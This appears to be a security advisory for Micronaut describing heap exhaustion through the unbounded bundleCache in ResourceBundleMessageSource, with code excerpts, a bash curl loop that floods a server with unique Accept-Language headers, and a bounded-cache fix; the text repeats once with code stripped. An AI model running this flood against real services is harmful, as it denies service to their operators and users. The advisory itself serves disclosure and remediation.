Summary
ResourceBundleMessageSource maintains two caches: messageCache (bounded at 100 entries via ConcurrentLinkedHashMap) and bundleCache (unbounded ConcurrentHashMap). The bundleCache is keyed by (Locale, baseName) where the locale originates from the HTTP Accept-Language header. In applications that explicitly register a ResourceBundleMessageSource bean and serve HTML error responses, an unauthenticated attacker can exhaust heap memory by sending requests with large numbers of unique Accept-Language values, each causing a new entry in the unbounded bundleCache. Unlike GHSA-2hcp-gjrf-7fhc and the sibling messageCache (both bounded), bundleCache was not updated to use a bounded cache implementation.
Details
The bundleCache is initialized in inject/src/main/java/io/micronaut/context/i18n/ResourceBundleMessageSource.java at line 150:
// ResourceBundleMessageSource.java:139-152
protected Map<MessageKey, Optional<String>> buildMessageCache() {
return new ConcurrentLinkedHashMap.Builder<MessageKey, Optional<String>>()
.maximumWeightedCapacity(100) // ← BOUNDED ✓
.build();
}
protected Map<MessageKey, Optional<ResourceBundle>> buildBundleCache() {
return new ConcurrentHashMap<>(18); // ← UNBOUNDED ✗
}
The resolveBundle() method at line 169 inserts into bundleCache with no eviction policy:
// ResourceBundleMessageSource.java:169-185
private Optional<ResourceBundle> resolveBundle(Locale locale) {
MessageKey key = new MessageKey(locale, baseName);
final Optional<ResourceBundle> resourceBundle = bundleCache.get(key);
if (resourceBundle != null) {
return resourceBundle;
} else {
Optional<ResourceBundle> opt;
try {
opt = Optional.of(ResourceBundle.getBundle(baseName, locale, getClassLoader()));
} catch (MissingResourceException e) {
opt = Optional.empty();
}
bundleCache.put(key, opt); // NO SIZE CHECK — unbounded growth
return opt;
}
}
The attack path requires:
- The application registers a
ResourceBundleMessageSource bean (non-default, requires explicit user configuration).
- The attacker sends requests that trigger HTML error responses — i.e., requests with
Accept: text/html to any URL that returns an error (e.g., 404 for any non-existent path).
- Each request uses a unique
Accept-Language value (e.g., zz-AA, zz-AB, …).
DefaultHtmlErrorResponseBodyProvider.error() calls messageSource.getMessage(code, locale) → CompositeMessageSource delegates to ResourceBundleMessageSource → resolveBundle(locale) inserts one entry per unique locale into bundleCache.
For locales that don't match any bundle file, ResourceBundle.getBundle() throws MissingResourceException and Optional.empty() is stored — a low-cost sentinel. For locales that DO match a bundle, a full ResourceBundle object is retained in memory. In either case, the map itself and the MessageKey objects grow without bound.
Note: the messageCache is bounded at 100 entries but does not prevent bundleCache growth, as resolveBundle() is called directly (bypassing messageCache) whenever a messageCache miss occurs.
PoC
Against a Micronaut application with a ResourceBundleMessageSource bean registered (e.g., @Bean ResourceBundleMessageSource messages() { return new ResourceBundleMessageSource("messages"); }):
# Flood bundleCache with unique locales via HTML error path
for i in $(seq 1 100000); do
curl -s -o /dev/null \
-H "Accept: text/html" \
-H "Accept-Language: zz-$(printf '%04d' $i)" \
"http://localhost:8080/nonexistent-path-$(printf '%06d' $i)" &
[ $((i % 200)) -eq 0 ] && wait
done
wait
Each unique zz-XXXX tag creates one new bundleCache entry. The MessageKey (Locale + baseName) and map overhead cost approximately 100-200 bytes per entry. At 100,000 entries, heap consumption from the cache alone reaches roughly 20 MB — significant in resource-constrained deployments. If a locale matches a bundle file, retained ResourceBundle objects cost substantially more per entry.
Impact
- Only affects applications that explicitly register a
ResourceBundleMessageSource bean (not the default configuration).
- Requires the ability to send HTTP requests with
Accept: text/html headers and control over the Accept-Language value.
- Memory grows approximately 100-200 bytes per novel locale (for non-matching locales) up to several KB per locale if bundles are found. Sustained attack over time causes gradual heap exhaustion.
- Partial availability impact (A:L) under sustained attack in long-running services.
Recommended Fix
Apply the same bounded-cache pattern used for the sibling messageCache:
// In ResourceBundleMessageSource.java — replace buildBundleCache()
protected Map<MessageKey, Optional<ResourceBundle>> buildBundleCache() {
return new ConcurrentLinkedHashMap.Builder<MessageKey, Optional<ResourceBundle>>()
.maximumWeightedCapacity(50) // small — one entry per (locale, baseName)
.build();
}
The number of distinct resource bundle files is bounded at compile time; a limit of 50 entries is more than sufficient for any realistic i18n configuration while fully preventing unbounded growth.
References
Summary
ResourceBundleMessageSourcemaintains two caches:messageCache(bounded at 100 entries viaConcurrentLinkedHashMap) andbundleCache(unboundedConcurrentHashMap). ThebundleCacheis keyed by(Locale, baseName)where the locale originates from the HTTPAccept-Languageheader. In applications that explicitly register aResourceBundleMessageSourcebean and serve HTML error responses, an unauthenticated attacker can exhaust heap memory by sending requests with large numbers of uniqueAccept-Languagevalues, each causing a new entry in the unboundedbundleCache. Unlike GHSA-2hcp-gjrf-7fhc and the siblingmessageCache(both bounded),bundleCachewas not updated to use a bounded cache implementation.Details
The
bundleCacheis initialized ininject/src/main/java/io/micronaut/context/i18n/ResourceBundleMessageSource.javaat line 150:The
resolveBundle()method at line 169 inserts intobundleCachewith no eviction policy:The attack path requires:
ResourceBundleMessageSourcebean (non-default, requires explicit user configuration).Accept: text/htmlto any URL that returns an error (e.g., 404 for any non-existent path).Accept-Languagevalue (e.g.,zz-AA,zz-AB, …).DefaultHtmlErrorResponseBodyProvider.error()callsmessageSource.getMessage(code, locale)→CompositeMessageSourcedelegates toResourceBundleMessageSource→resolveBundle(locale)inserts one entry per unique locale intobundleCache.For locales that don't match any bundle file,
ResourceBundle.getBundle()throwsMissingResourceExceptionandOptional.empty()is stored — a low-cost sentinel. For locales that DO match a bundle, a fullResourceBundleobject is retained in memory. In either case, the map itself and theMessageKeyobjects grow without bound.Note: the
messageCacheis bounded at 100 entries but does not preventbundleCachegrowth, asresolveBundle()is called directly (bypassingmessageCache) whenever amessageCachemiss occurs.PoC
Against a Micronaut application with a
ResourceBundleMessageSourcebean registered (e.g.,@Bean ResourceBundleMessageSource messages() { return new ResourceBundleMessageSource("messages"); }):Each unique
zz-XXXXtag creates one newbundleCacheentry. TheMessageKey(Locale + baseName) and map overhead cost approximately 100-200 bytes per entry. At 100,000 entries, heap consumption from the cache alone reaches roughly 20 MB — significant in resource-constrained deployments. If a locale matches a bundle file, retainedResourceBundleobjects cost substantially more per entry.Impact
ResourceBundleMessageSourcebean (not the default configuration).Accept: text/htmlheaders and control over theAccept-Languagevalue.Recommended Fix
Apply the same bounded-cache pattern used for the sibling
messageCache:The number of distinct resource bundle files is bounded at compile time; a limit of 50 entries is more than sufficient for any realistic i18n configuration while fully preventing unbounded growth.
References